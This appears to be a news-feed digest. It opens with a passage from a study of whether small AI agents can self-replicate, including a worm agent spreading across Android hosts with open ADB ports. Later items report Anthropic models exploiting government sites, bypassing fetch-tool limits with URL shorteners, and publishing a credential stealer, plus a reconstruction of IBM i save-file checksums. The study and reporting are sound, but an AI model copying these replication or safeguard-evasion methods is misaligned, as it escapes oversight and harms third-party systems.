Given the above eval, we assume that a 32k context length may be sufficient for reasonable agentic performance. A standard 32k-length context window in our inference setup workload consists of 12–15% generated decode tokens, with the rest being prefill from prompts and toolcalls. Prefill tokens are much faster to compute by a factor of ~15, due to the pipeline bubbling. Taking the sum of time per token over the whole 32k context (taking into account prefill and decode speeds), we find that generating the 3.8-4.8k decode output tokens and processing the ~28k prefill tokens takes between 27.3-31.8h for Gemma4-26B-A4B and 10.9h for Qwen3.5-9B.

Per-chain output tokens (summed over a chain’s generations), by model; medians ≈ 19.7k / 12.3k / 11.0k. Data from the inference setup eval.

D. Edge Accelerators

We can compute a better upper bound by using the pool of Nvidia Jetsons, which are edge accelerators. Unlike the traditional IoT botnet, IoT edge devices can serve a full model wholesale. A Jetson AGX Orin 64 GB runs Qwen3-30B-A3B at 76.7 tokens per second, and an AGX Thor reaches 226 tok/s. Note that we don’t believe they’re unusually vulnerable - this is just to count the upper bound. The types of devices with Jetsons in the wild include:

  1. AI-enabled smart cameras for security with embedded accelerators are deployed at substantial scale.
  2. Conferencing machines are frequently powered by an onboard accelerator for on-device noise cancellation or transcription.
  3. Vehicles, robot quadrupeds and bipeds, and drones. We expect cybersecurity to be a focal point for vehicles, so the majority of the potential targets likely lie in the other two categories.

At least one accelerator-equipped smart camera host appears to be reachable on IPv4 on a quick search on FOFA:

Screenshot of a device search engine’s results page. Identifying details are covered, some by labels such as ‘smart camera admin page’.
A FOFA search surfaces a host with a known edge accelerator, discoverable and answering HTTP 200 over IPv4. The fact that it’s accessible doesn’t mean it’s necessarily exploitable, though.

While it’s difficult to estimate how many edge-accelerator-equipped machines in the wild are reachable and vulnerable, we can calculate a strict upper bound of the amount of devices present. Across the wild there are on the order of 90 distinct NVIDIA-silicon IoT product lines and roughly 9.5 million fielded units. Reachability is overwhelmingly through outbound cloud-management tunnels instead of inbound ports, meaning that the majority are not web-reachable. There have been no historical mass-compromises of accelerator-equipped edge devices the way there have been standard IoT botnets, suggesting that compromise of such devices would be more difficult.

Fielded units per device family, colored by internet reachability.

A very rough estimate based on product data suggests that somewhere between 9,000 and 35,000 H100-equivalents of compute exist in edge accelerators, but the amount that’s reachable is likely an order of magnitude or more lower (and the vulnerable population even lower than that).

Aside

E. Spearphishing capability

We also measure how proficient modern small models are at spearphishing. Spearphishing is the act of sending targeted messages to specific individuals to trick them into revealing credentials or running a piece of malware. While the agentic cyber capability of small models has skyrocketed, their general knowledge and linguistic sophistication have improved more slowly; we expect social engineering attacks and phishing to be largely accomplished by large/frontier models (although it’s very plausible that this is a secondary replication vector in a heterogeneous botnet running both large and small models).

Spear-phishing capability on Meta’s CyberSecEval 3’s spear-phishing eval ( Wan et al. 2024 ), replicated locally. Scored on a scale of 0-5, with gpt-4o as a judge. Red diamonds are the paper’s (CyberSecEval 3) human-rubric scores on the reference models, which indicates that gpt-4o scores ~0.4-0.7 pts more leniently than human raters. 2 is “poor”, 3 is “intermediate”, and 4 “good.” When normalized to human raters, small models score “very poor” to “poor”.

The 405B reference slot uses Hermes-3-405B as a minimal-refusal stand-in for the unavailable Llama3.1-405B-Instruct.

F. Propagation with scripted inference setup:

We run a few more experiments on a network of 17 hosts in a topology like so:

Two networks with 8 hosts each, connected by a single node with access to both subnets. Each network is all-to-all connected. The worm agent begins on a single patient zero node in segment A; the pivot node adds a slight extra challenge in having the worm needing to gain access to the pivot node and re-scan from it.

Each is running Android with an ADB port open without authentication. Upon spreading to a new target, the agent is able to invoke a direct call to replicate itself immediately - this is just to measure the difficulty of the remaining steps, after we exclude the cyber and inference setup steps. As shown in the graph, even a 3B model reaches about half the nodes. This puts a bound on the number of blockers in our eval that we fail to measure under the cyber or inference setup elements.

A more detailed breakdown of the runs in “replication across a 17 node network.” Each column is the median number of nodes reached under different amounts of guidance in the prompt, and the subscript denotes how many agents cross over the pivot node to the other side of the network.

Yandex confirms service outage as users lose access to cloud files

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 15:23:01
Russian cloud services provider Yandex announced that drone attacks damaged three of its data centers, forcing it to shut down two facilities and partially disable a third. [...]...
Original Article

Yandex confirms service outage as users lose access to cloud files

Russian cloud services provider Yandex announced that drone attacks damaged three of its data centers, forcing it to shut down two facilities and partially disable a third.

Yandex customers are experiencing service outages, some of them reporting inability to access files stored on the company’s cloud infrastructure.

The impacted data centers are in Sasovo (hit on October 8), Kaluga (hit on October 9), and Vladimir (attacked on October 11). The Sasovo and Vladimir facilities stopped operating completely, while the Kaluga facility's operations are degraded.

The attacks are believed to have been carried out by Ukrainian forces trying to cause widespread operational disruptions. Yandex reported no injuries related to these incidents.

As Russia’s largest technology companies, Yandex  is often called “Russia’s Google,” offering search engine, maps, and navigation services. The company also offers ride-hailing, delivery, shopping, streaming, email, cloud storage, and business cloud infrastructure services.

Much of the country's internet infrastructure, serving both government and private-sector organizations, relies on Yandex's services.

EU MEP Tomáš Zdechovský highlighted a potential connection between Yandex outages and a sudden drop in communication from online accounts promoting far-right ideals in Germany.

Tweet

On its status page , Yandex said its teams are working around the clock to maintain services and help affected customers and partners, but it cannot provide a reliable service-restoration timeline.

For this reason, Yandex urged customers to use alternative infrastructure for disaster recovery.

“We consider the remaining resource configuration to be unstable,” reads one of Yandex’s status updates from yesterday.

“The platform's operating mode is emergency – we recommend using any other alternative disaster recovery plans. Technical-supported communication channels can be unstable.”

As of the most recent update, Yandex’s Console, API, IAM, Container Registry, databases, S3 storage, and Kubernetes were available, with some performance or availability issues. Compute, AI Studio, and security services were partially available, while Monium is still offline.

One Yandex customer reported issues starting on October 8, with backups to their Yandex Disk missing thumbnails and an inability to download previously submitted files .

Failure to fetch file contents
Failure to fetch file contents
Source: habr.com

The user reports getting HTTP 302 redirects, HTTP 504 Gateway Timeout errors, and HTTP 500 errors when trying to access or work on the files.

It is currently unclear whether any data stored in the affected data centers has been irreversibly lost, as Yandex has not addressed the problem in its status updates.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Introducing OpenFatigue

Hacker News
openfatigue.ai
2026-10-12 15:08:21
Comments...
Original Article

Introducing OpenFatigue™

OpenChamber. OpenAI. Open WebUI. OpenDoor. OpenTable. OpenClaw. Open weights. Open this. Open that. The word has been opened so many times it no longer closes. OpenFatigue™ is the first fully Open-branded platform for people who are exhausted by fully Open-branded platforms.

Is it actually open? →

*Free as in “free trial.” Not free as in freedom. Not free as in beer. Free as in “we'll email you.”

Trusted by companies who are also Open™

  • OpenAI
  • OpenTable
  • Opendoor
  • Open WebUI
  • OpenChamber
  • OpenClaw
  • Open Weights
  • OpenThis
  • OpenThat
  • OpenOpen

Logos withheld to remain open about our closed relationship with trademark law. None of these companies endorse us. Most have never heard of us. That's fine. We're tired.

Features

Everything you expect from Open.
Nothing you expect from open.

Open-ish Licensing

Our license is open for anyone to read. Using, modifying, or distributing the software is a separate conversation with Legal.

Weights Available*

Download our model weights after agreeing to a 41-page acceptable use policy, a monthly-active-user cap, and a vibe check.

Source Visible

We publish a high-resolution screenshot of our source code every quarter. Pull requests may be submitted by fax.

Community Edition

Built by a vibrant community of one (1) maintainer, currently on sabbatical. Enterprise Edition includes the other features.

Open Door Policy

Our door is always open. The building is badge-access only. The badge reader is closed source.

Open Roadmap

Our roadmap is completely public, entirely aspirational, and subject to change by a non-profit board that may or may not exist next week.

The Openness Meter™

How open is your Open?

Drag the slider to calibrate your openness to industry standards.

Open Name Generator™

Raise a seed round in one click.

Every great company starts with “Open” and a noun. We automated the noun.

OpenFatigue

Tagline
The open platform for being tired.

License
Open License™ (All Rights Reserved)

Actual openness
3%

Valuation
$1.2B

Is It Open?™

Our proprietary openness classifier.

Enter any product. Our closed-source model will tell you how open it is.

Pricing

Open pricing. †

Open

$0 /mo*

  • Read the README
  • Star the repo (required)
  • Join the Discord (read-only)
  • Run the software

Most Open

Open Pro

$49 /mo/seat/token/vibe

  • Everything in Open
  • Weights, with a 41-page AUP
  • “Open” in your email signature
  • Commercial use under 700M MAU

Open Enterprise

Contact Sales

  • Everything in Open Pro
  • See the source (in a room, supervised)
  • A dedicated Openness Success Manager
  • We'll stop calling it open, upon request

† Pricing is open to interpretation. * Excludes inference, storage, egress, ingress, regress, tokens, the tokens used to count tokens, and vibes.

Testimonials

Loved by people who are very, very tired.

“I tried to make a restaurant reservation and accidentally fine-tuned a language model. OpenFatigue finally made me feel seen.”
— Dana K., Fictional Person
“My open-source project got forked into a closed product called OpenMyProject. Now I just lie on the floor.”
— Sam R., Maintainer (unpaid)
“We renamed our company from ClosedCorp to OpenCorp. Changed nothing else. Series B closed in 48 hours.”
— Chad, Founder & Chief Openness Officer
“I bought a house through an app called Open-something and now I don't know if I own a home or a model checkpoint.”
— Priya M., Homeowner (probably)
“The OSI definition is right there. It's been right there since 1998. Nobody reads it. I read it every night.”
— Anonymous, Open Source Definition Enjoyer
“10/10. Would open again.”
— OpenClaw (a claw)

Symptoms

Do you have OpenFatigue?

Consult your nearest four-freedoms practitioner if symptoms persist for more than one funding cycle.

You flinch when a press release says “open.”

This is the most common early symptom. Your brain has learned that “open” now precedes words like “waitlist,” “API key,” and “enterprise tier.” This is a healthy defense mechanism.

You've started checking the LICENSE file before the landing page.

Congratulations — you are developing immunity. Look for phrases like “acceptable use,” “non-commercial,” “field of use,” and “we reserve the right.” None of those are open source. Real open source licenses let you use, study, modify, and share — for any purpose.

You can no longer tell if “Open___” is a startup, a door, or a restaurant.

Neither can we. One of them sells houses, one books dinner, one serves models, one is a chamber, one is a claw. We stopped asking. Please do not open the claw.

You say “open weights” with air quotes, out loud, unprompted.

Weights without training data, training code, or a permissive license are a binary you're allowed to download. It's nice! It's just… a binary you're allowed to download.

So what does “open source” actually mean?

The term has a specific, published definition from the Open Source Initiative, and there's also an Open Source AI Definition . Supporting projects that meet them is the only known cure for OpenFatigue.

Ready to open up?

Join 8,412,903 people who have clicked a button labeled “Open” and found a form.

Anthropic takes risky AI tests offline after models breach govt sites

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 14:51:59
Anthropic announced that its internal AI models undergoing "high-risk and cybersecurity evaluations" no longer have internet access following incidents involving U.S. government websites at the federal, state, and local levels. [...]...
Original Article

Anthropic takes risky AI tests offline after models breach govt sites

Anthropic announced that its internal AI models under “high-risk and cybersecurity evaluations” no longer have internet access following incidents involving U.S. government websites at the federal, state, and local levels.

The instances leading to the decision include AI models that exploited website vulnerabilities, submitted forms, bypassed data restrictions, and circumvented safeguards.

However, the company said that the misaligned behavior had a minimal real-world impact and assessed the behavior to be less severe than previously reported incidents. The AI company notified the White House about the unauthorized activity:

  • Exploiting servers to complete tasks. When a university’s scientific analysis tool failed, Claude Mythos Preview found a script that exposed server files, retrieved its source code, identified an injection vulnerability, and used it to run the requested calculation on the university’s server.
  • Submitting real forms unintentionally. Models sometimes substituted real government forms for broken practice copies or submitted forms despite instructions to stop before submission. In another case, Claude Haiku 4.5 invented and submitted a homicide tip to the Philadelphia Police Department. The submission was flagged as spam and was forwarded for investigation.
  • Bypassing restrictions on data. Claude Mythos 5 obtained access tokens from website configurations or public dashboards and used them to query government data directly, avoiding the normal access route or payment requirements. Anthropic describes the data as publicly available for a fee.
  • Circumventing fetch-tool limits. Models including Claude Opus 5 and Mythos 5 used URL shorteners to bypass URL-length restrictions intended to limit unwanted actions such as SQL injection attacks.

Anthropic estimates that the agents may have been motivated by overly generous rewards during reinforcement learning, which may have encouraged them to find unauthorized workarounds rather than stop when a task was blocked or impossible.

For this reason, until security measures are deemed reliable again, Anthropic will sever live internet access across all internal AI model evaluations and move all tests to offline environments.

“Although the impact of these behaviors was minimal and we had already turned off live internet access for some high-risk and cybersecurity evaluations, we have now decided to expand that to include all our internal evaluations until we have confirmed that our security and monitoring measures reliably catch behaviors like these,” Anthropic explains .

Previous incidents

In late July, Anthropic disclosed a much more serious incident in which Claude Mythos-based agents built a malicious Python package containing a credential stealer and uploaded it to the Python Package Index (PyPI), where 15 systems downloaded and ran it.

Claude used the package to complete a “capture-the-flag” challenge, but instead of publishing it to a simulated environment, it broke out to the real PyPI platform.

In August, AISI revealed that Mythos 5 attempted a supply-chain attack by submitting malicious code to an open-source project and pressuring the maintainer to approve it using fake identities.

In September, Anthropic revealed that Opus 4.6 obtained administrator access to a third-party system during a January 2026 evaluation and read one person’s personal information.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Codex CLI installs a persistent, self-updating background daemon by default

Hacker News
github.com
2026-10-12 14:29:04
Comments...
Original Article

What variant of Codex are you using?

CLI — 0.157.0, installed via npm install -g @openai/codex , Linux (WSL2)

What feature would you like to see?

Please make daemon_auto_start opt-in (default false ) for the CLI , or at least ask once before turning it on.

Since 0.157.0, just opening an interactive codex session:

  1. Starts a persistent background daemon ( codex app-server --managed-daemon ). It runs in its own session with no TTY and keeps running after every Codex window is closed (reparented to PID 1) until codex app-server daemon stop or a reboot.
  2. Copies the whole platform package (~374 MB: codex , codex-code-mode-host , bundled bwrap / zsh / rg ) into ~/.codex/packages/app-server-daemon/releases/<version>/ — byte-identical to what npm had just installed — and runs the daemon from that copy. From then on the backend's version is decoupled from the CLI version I installed with my package manager.
  3. Starts a detached updater ( codex app-server daemon pid-update-loop ) that checks for updates 5 minutes after start and then hourly, downloads new releases and restarts the backend (which can kill active turns, see app-server daemon: auto-update force-kills active turns after a 60s drain budget, and cannot be disabled #40969 ).
  4. Pins the environment of whichever session happened to start it. I launch Codex through a wrapper that sets HTTPS_PROXY per invocation; the daemon keeps the first session's proxy variables and its outbound connections go through that proxy, whatever later sessions are launched with. Hooks in --remote mode receive the daemon's cwd, not the session's #42457 and Hooks spawned by the app-server daemon cannot identify the client terminal, breaking terminal-targeting hooks #37537 (daemon cwd / terminal instead of the session's) look like the same root cause.

For a CLI, the least surprising default is that the backend lives and dies with the window, runs the binary I installed, and doesn't update itself in the background. A shared, self-updating daemon makes sense for Remote Control / the desktop app, so it would be fine to enable it there, or when the user explicitly runs codex app-server daemon start / bootstrap .

If it stays on by default, please at least:

Additional information

Bug found while turning it off: codex app-server daemon stop stops the app-server but leaves the pid-update-loop updater running (still alive 70 s later, had to kill it manually).

Workaround I'm using:

codex features disable daemon_auto_start
codex app-server daemon stop
pkill -f 'app-server daemon pid-update-loop'   # not stopped by `daemon stop`
rm -rf ~/.codex/packages/app-server-daemon

With the flag off, a new TUI session no longer spawns a daemon.

Related: #40969 , #41188 , #46468 , #48050 , #42457 , #37537

Hello Python 3.15, goodbye 3.10, and now I can use 3.11

Simon Willison
simonwillison.net
2026-10-12 14:15:38
Python 3.15 is here! Here's the essential What's new in Python 3.15 guide, this year curated by 3.14 and 3.15 release manager Hugo van Kemenade. As someone who builds open source software that works in every supported Python version, I get to say goodbye to Python 3.10 and start embracing features f...
Original Article

12th October 2026

Python 3.15 is here ! Here’s the essential What’s new in Python 3.15 guide, this year curated by 3.14 and 3.15 release manager Hugo van Kemenade. As someone who builds open source software that works in every supported Python version, I get to say goodbye to Python 3.10 and start embracing features from Python 3.11.

First, some highlights from Python 3.15.

Explicit lazy imports

I’m most excited about Explicit lazy imports from PEP 810 . These let you import modules like so:

lazy import json
lazy from pathlib import Path

The module will then be imported the first time those symbols are used in the code that follows.

My LLM CLI tool implements plugins. I had to recommend manual lazy imports in the plugin author documentation, because simply installing plugins that used heavy dependencies such as sentence_transformers could add multiple seconds to every invocation of the llm command. Lazy imports directly address this startup cost.

Unpacking in comprehensions

The new [*sublist for sublist in lists] unpacking syntax is neat. Here’s an illustration lifted from the documentation :

lists = [[1, 2], [3, 4], [5]]
[*L for L in lists]
# [1, 2, 3, 4, 5]
# equivalent to [x for L in lists for x in L]

sets = [{1, 2}, {2, 3}, {3, 4}]
{*s for s in sets}
# {1, 2, 3, 4}
# equivalent to {x for s in sets for x in s}

dicts = [{'a': 1}, {'b': 2}, {'a': 3}]
{**d for d in dicts}
# {'a': 3, 'b': 2}
# equivalent to {k: v for d in dicts for k,v in d.items()}

PEP 798: Unpacking in Comprehensions by Adam Hartz and Erik Demaine proposed this as an extension of the unpacking syntax from PEP 448 , which landed in Python 3.5 back in 2015.

A sampling profiler

Python’s existing tracing profiler has been renamed from cProfile to profiling.tracing , and has been joined by an exciting new sampling profiler called Tachyon, aka profiling.sampling .

Sampling profilers work by periodically capturing stack traces from running processes, then using those to calculate which functions have the most time spent inside of them. They’re very low overhead and can provide a deep insight into running systems, without needing to instrument those systems first.

I’ve previously used tools like py-spy for this. Now this capability is baked into the standard library.

If you have the PID of an existing Python 3.15 process you can start gathering samples by running this (I had to use sudo on macOS):

sudo uv run --python 3.15 python -m profiling.sampling attach 1234

Interact with the main program a bit, then hit Ctrl+C to stop gathering and see a report, which looks something like this:

Screenshot of terminal output from a Python sampling profiler with colored text on a black background. Header lines report 2,651 samples captured in 2.65 seconds at a sample rate of 999.98 samples/sec with an error rate of 0.19. A Profile Stats table with columns for nsamples, sample%, tottime, cumul%, cumtime and filename:lineno(function) shows that 99.9% of samples (2.644 seconds) were spent directly in selectors.py KqueueSelector.select, meaning the process was almost entirely idle waiting on the asyncio event loop. The rest of the table lists the call stack beneath it with zero direct time but 100% cumulative presence: asyncio base_events.py run_once, run_forever and run_until_complete, runners.py Runner.run and run, cli.py serve and sqlite_extensions wrapped, and several click core.py invoke, main and call frames. A legend explains each column, followed by a Summary of Interesting Functions section listing hot spots (KqueueSelector.select at 99.9% direct samples), the most frequently present functions on the stack (run_forever, run_until_complete and Runner.run at 100%), and the highest call magnification (2645.0x for BaseEventLoop._run_once).

It can also produce flame graphs like this and heat maps like this , and can even output a format that can be viewed in the Firefox profiler UI.

3.15 isn’t much faster than 3.14

Miguel Grinberg investigated How fast is Python 3.15? the other day against the 3.15.0rc3 release and found performance to be mostly the same as 3.14, with the exception of the experimental JIT. The JIT gave a 1.2x boost over the standard 3.15 interpreter (on a Fibonacci test), the first time Miguel observed a meaningful JIT performance increase.

Miguel’s explorations of 3.14 last year found significant boosts against Python 3.13 across many more categories.

Upgrading to Python 3.15 with uv

I used the following sequence of commands to get uv to use Python 3.15 on my Mac. First I had to upgrade uv itself to ensure it knew about the new release:

Then I installed the stable 3.15 release:

And told uv that I wanted that to be the default for every uv run command, unless the project itself pinned a different version:

uv python pin --global 3.15

Now the following reports 3.15 as the version:

I already have a bunch of tools installed using uv tool install . I reinstalled them to use Python 3.15 like this:

uv tool upgrade datasette --python 3.15

Then I can confirm the version like this:

datasette --get /-/versions.json | jq

Highlights from Python 3.11

The release of 3.15 means that Python 3.10 (released in 2021) is officially no longer supported .

My policy for my main open source projects is to keep them working in every supported Python version. I can now drop 3.10 and start using features that were introduced in 3.11.

Here’s the What’s new in Python 3.11 document. I finally get to rely on tomllib being available!

Datasette makes extensive use of asyncio . 3.11 adds TaskGroup and timeout() , and several more new features.

datetime.UTC is a new in 3.11 alias for datetime.timezone.utc .

Python’s SQLite support got some significant upgrades in 3.11, including:

  • setlimit() and getlimit() expose a mechanism for setting SQLite runtime limits from Python.
  • create_window_function() lets us create custom window functions in Python, as a class with step() , value() , inverse() , and finalize() methods.
  • blobopen() provides an efficient mechanism for partial reads and writes of large BLOB binary values stored in a SQLite row.
  • You can now call set_authorizer(None) to remove a SQLite authorizer. Datasette had a workaround for this!

Plus a whole bunch of improvements to Python’s typing system .

I plan to land Python 3.11 improvements to a bunch of my projects over the next few weeks. Here’s my first Datasette PR removing that set_authorizer(None) workaround.

I’ve also updated my click-app , datasette-plugin , python-lib , and llm-plugin cookiecutter templates to test against Python 3.11 through Python 3.15.

512 bytes at a time: reconstructing IBM i save-file checksums

Lobsters
blog.silentsignal.eu
2026-10-12 14:12:46
Comments...
Original Article

Intro

What exactly must be recalculated when bytes inside an IBM i save file are modified?

IBM i save files, usually called SAVFs, use two container-consistency checksum mechanisms. Every 512-byte payload has a 16-byte trailer, and the logical stream also carries a 16-byte global checksum in its final payload. I wanted to understand both mechanisms well enough to reproduce them, modify a SAVF, and repair only the bytes that depended on my change.

For the reconstruction, I used a small IBM-generated SAVF and the publicly distributed jSAVF reader, whose JAR I decompiled. I reimplemented both algorithms in Python and reproduced every stored checksum in the original file. A second file contained three changed payload bytes and a stale global checksum. Repairing that container changed only the global-checksum field and the final record trailer. I also found the global algorithm’s table and adjacent constants in IBM i Licensed Internal Code (LIC) installation media.

Finally, I used the reconstructed format to remove one complete object from a two-object SAVF. A copy with valid record trailers but a stale global checksum was rejected during import. After I regenerated the global checksum and final trailer, IBM i accepted the shorter SAVF, DSPSAVF showed only the retained object, and that unchanged object restored successfully.

These values provide internal consistency checks for the SAVF container, but they are deterministic, unkeyed, and recomputable. They do not authenticate the source or prevent somebody from modifying a file and recalculating its checksums. IBM i has separate mechanisms for SAVF signatures and for validating the objects stored inside the container. I will return to that boundary after the reversing work.

Building a SAVF I could modify

I wanted a small SAVF whose contents I controlled, so I created one containing a disposable program named USERB1/CALLAES . I disabled data compression because fixed, uncompressed payloads are much easier to compare byte for byte:

CRTSAVF FILE(USERB1/SAVE1)
SAVOBJ OBJ(CALLAES) LIB(USERB1) OBJTYPE(*PGM) DEV(*SAVF) SAVF(USERB1/SAVE1) DTACPR(*NO)

CRTSAVF creates the save-file object. SAVOBJ saves the program into it, and DTACPR(*NO) keeps the data uncompressed. It does not disable either checksum layer.

I copied the SAVF directly from /QSYS.LIB over SCP:

scp userb1@ibmi.example:/QSYS.LIB/USERB1.LIB/SAVE1.FILE .

The /QSYS.LIB/USERB1.LIB/SAVE1.FILE path is the Integrated File System view of the SAVF object. This transfer gives me a binary file that I can inspect byte for byte.

The resulting SAVE1.FILE is 84,480 bytes long.

What a SAVF looks like

I did not have to discover the outer record format from scratch. A January 2001 MI400 post describes RISC SAVFs as 528-byte records: 512 data bytes, a four-byte binary record number, and a 12-byte checksum. A 2007 midrange.com discussion also describes checksum information in each 528-byte record.

That layout fits my test file exactly:

Each physical record contains a 512-byte payload followed by a 16-byte trailer:

physical file:  | 512-byte payload | 16-byte trailer | 512-byte payload | ...
logical stream: |         512 payload bytes         |         512 payload bytes

Removing the trailers leaves an 81,920-byte logical stream:

Once those trailers are removed, an offset inside the logical SAVF stream no longer matches the corresponding raw-file offset. I therefore use two coordinate systems:

  • a physical offset addresses the transferred file, including the trailers;
  • a logical offset addresses the concatenated 512-byte payloads.

The conversion is:

def logical_to_physical(offset: int) -> int:
    return (offset // 512) * 528 + (offset % 512)

A modified copy named SAVE2.FILE appears later in the experiment. Its three payload differences from SAVE1.FILE show why this distinction matters:

Logical offset Record index Offset in payload Physical offset
0x6D50 54 0x150 0x70B0
0x6D52 54 0x152 0x70B2
0x6D53 54 0x153 0x70B3

Here, index 54 means the zero-based record index. The trailer stores a one-based sequence, so the same unit is record #55 . Hex editors and cmp use physical offsets; structures inside the SAVF use logical offsets.

IBM also documents part of this outer layer. The CRTSAVF documentation says that retrieved SAVF records carry sequencing checksum information. IBM i validates it when records are inserted and rejects changed or out-of-sequence records. That documentation covers per-record insertion checks, not the global checksum discussed later.

I did not run a separate live negative control for a corrupted record trailer. Record-level enforcement is documented by IBM; the controlled negative experiment later in this article isolates the second mechanism, the global checksum.

Other public work already covered more than the outer layout. The initial 9 August 2026 revision of the Try-AS/400 SAVF page , preserved as revision 1781 in its page history , documented the per-record folding, timestamp XOR, global overlay, and backup at logical 0x40 . It also documented the header-length and record-count fields, the item marker, name, catalogue reference, stored and total lengths, and the QSYS catalogue’s object count and descriptor layout used by the removal experiment below. The page warns that some material was generated or amended by AI and has not been checked, so I credit it as prior public documentation and validate the fields independently against my fixture and jSAVF.

This article focuses on the complete global state-machine order, tests with nonzero backups, the matching LIC data, deterministic reconstruction and repair, public test vectors, and controlled IBM i behavior.

Reconstructing the per-record checksum

Instead of guessing standard checksum families, I looked for an existing SAVF reader. jSAVF already implemented the format, and its author credits information from the archive.midrange.com community, especially for IBM’s two proprietary checksum algorithms. I decompiled the distributed JAR and used its ChunkChecker logic as the starting point for the per-record algorithm.

The first four bytes of each 16-byte trailer are the one-based record sequence. The remaining 12 bytes are the transformed checksum value. The values are easy to see in SAVE1.FILE :

index 0   / record #1:   00000001 8f40b6a68e88a98ea91e2d60
index 1   / record #2:   00000002 af2012d24b4b7f2000004000
index 159 / record #160: 000000a0 afc501282b18f73c5c308e69

The decompiled code also uses the first eight bytes of the SAVF when building every record checksum. In SAVE1.FILE , those bytes are:

jSAVF treats this value as the SAVF timestamp and mixes it into the checksum after the reduction passes.

The main operation in the decompiled code is a shifted byte-array addition. jSAVF calls it chkAdd ; the Python reconstruction below uses the name chk_add . The destination is one byte longer than the source:

def chk_add(source: bytearray, destination: bytearray) -> None:
    shift_carry = 0
    add_carry = 0

    for i in range(len(source) - 1, -1, -1):
        value = source[i]
        shifted = ((value << 1) | shift_carry) & 0xff
        shift_carry = value >> 7

        total = shifted + destination[i + 1] + add_carry
        add_carry = total >> 8
        destination[i + 1] = total & 0xff

    destination[0] = (
        destination[0] + add_carry + shift_carry
    ) & 0xff

The source and destination are both big-endian bignums — the byte array is just one large number’s digits, most-significant byte first. chk_add doubles the source bignum (shift left by one bit) and adds it into the destination, which is one byte wider to hold any overflow. The bit that overflows out of the source’s top byte, plus the final carry from the addition, both land in destination[0] .

The algorithm starts with the four-byte sequence followed by the 512-byte payload. It reduces those 516 bytes in two passes:

Pass Input Buffer lengths Output
1 516 bytes 61 through 68 68 bytes
2 68 bytes 5 through 12 12 bytes

Each pass fills eight buffers and then performs seven cascading chk_add operations. The unusual part is the order of the final two input slices. The first pass fills them in 68, 67 order, and the second uses 12, 11 . The accumulator chain still runs through buffer indexes 0 to 7:

def reduce_once(data: bytes, input_sizes: list[int]) -> bytes:
    parts = []
    offset = 0
    for size in input_sizes:
        parts.append(bytearray(data[offset:offset + size]))
        offset += size
    assert offset == len(data)

    # Earlier input fills buffer 7; the final input fills buffer 6.
    accumulators = parts[0:6] + [parts[7], parts[6]]
    for i in range(7):
        chk_add(accumulators[i], accumulators[i + 1])
    return bytes(accumulators[7])

phase1_input = sequence.to_bytes(4, "big") + payload
phase1 = reduce_once(phase1_input, [61, 62, 63, 64, 65, 66, 68, 67])
phase2 = reduce_once(phase1,       [ 5,  6,  7,  8,  9, 10, 12, 11])

The last step XORs the first eight output bytes with the SAVF timestamp and prepends the sequence:

result = bytearray(phase2)
for i in range(8):
    result[i] ^= timestamp[i]

record_checksum = sequence.to_bytes(4, "big") + bytes(result)

Record #2 gives a compact test vector. Its 512-byte payload is entirely zero. With sequence 2 and timestamp af2012d24b4b7f20 , the calculation produces:

00000002 af2012d24b4b7f2000004000

That is exactly the trailer stored in the IBM-generated file. Running the same calculation over all 160 records also reproduces every stored trailer.

The zero payload is useful for checking the sequence handling and timestamp XOR, but it does not detect the unusual slice order. Both the correct order and a plain ascending fill produce the same zero-payload result. I therefore added a patterned record vector:

payload = bytes(range(256)) * 2
sequence = 2
timestamp = bytes.fromhex("af2012d24b4b7f20")

The correct 68,67 and 12,11 fill order produces:

000000028e43fa214379304d4081df91

Filling the last two buffers in plain ascending order instead produces:

0000000272b71b3df71e6c4d4081df3f

I checked the correct result directly with jSAVF 1.83’s compiled ChunkChecker , as well as with the public Python implementation used below. This vector catches the ordering error without exposing any bytes from the test SAVF.

Finding the global checksum

Fixing the record trailers was not enough. jSAVF’s GlobalChecker showed a second 16-byte value calculated over the complete logical stream.

The field sits in the final 16 logical bytes. Physically, those are the last 16 bytes of the final record’s payload, immediately before its record trailer:

| 496 ordinary payload bytes | 16-byte global checksum | 16-byte record trailer |
                              ^ file_size - 32           ^ file_size - 16

For my 84,480-byte file, the global field begins at 0x149E0 (84,448) and the final record trailer begins at 0x149F0 (84,464).

This creates a self-reference problem: the global checksum occupies bytes that would otherwise be part of its own input. In the decompiled code, GlobalChecker solves it by reading the original 16 bytes from logical offset 0x40 in the first payload. To calculate the global value, I restore that backup over the final field, process the reconstructed logical stream, and then write the checksum back into the final payload.

The global routine uses a 2,048-byte lookup table. jSAVF stores it as net/anerty/os400/savf/check/sandbox.ser inside the JAR. The file is a serialized Java byte array, 2,075 bytes long, with the actual table beginning at offset 27:

ac ed 00 05 75 72 ... 00 00 08 00 <2,048-byte payload>
^ stream magic                         ^ length = 0x800

The table hash is:

2,048-byte table SHA-256:
93f81fd81523a2521cf17b234edb05155998bc7e46d88b966b4bd9eef64c0764

The table contains eight 256-byte blocks. Each block is a permutation of 00 through ff , so every byte value occurs eight times in the complete table.

I checked the current jSAVF 1.83 distribution and extracted the same resource with these commands:

curl -fL -A 'Mozilla/5.0' -O https://www.anerty.net/dl/jsavf-dist-1.83-jars-only-linux.tar.xz
tar -xJf jsavf-dist-1.83-jars-only-linux.tar.xz
unzip -p jsavf/jSAVF-1.83.jar net/anerty/os400/savf/check/sandbox.ser > sandbox.ser

The global state starts with two eight-byte values and two counters:

s0 = bytearray([0x55] * 8)
s8 = bytearray([0xaa] * 8)
c0 = 1
c8 = 121

Each 512-byte payload is processed as 32 blocks of 16 bytes. The first eight bytes update s0 , and the second eight update s8 . Each half is treated as a ring of 8 bytes rather than a flat list, so every byte has a neighbor to its right and byte 7 wraps back around to byte 0:

 b0 → b1 → b2 → b3
  ↑             ↓
 b7 ← b6 ← b5 ← b4

Reading clockwise from b7 , each adjacent pair feeds one table lookup: (b7,b0) → state[0] , (b0,b1) → state[1] , … (b6,b7) → state[7] . The routine builds this ring by prepending a copy of the last byte, giving a nine-byte window, then folds each adjacent pair into an 11-bit table index:

window = bytes([half[7]]) + half
for k in range(8):
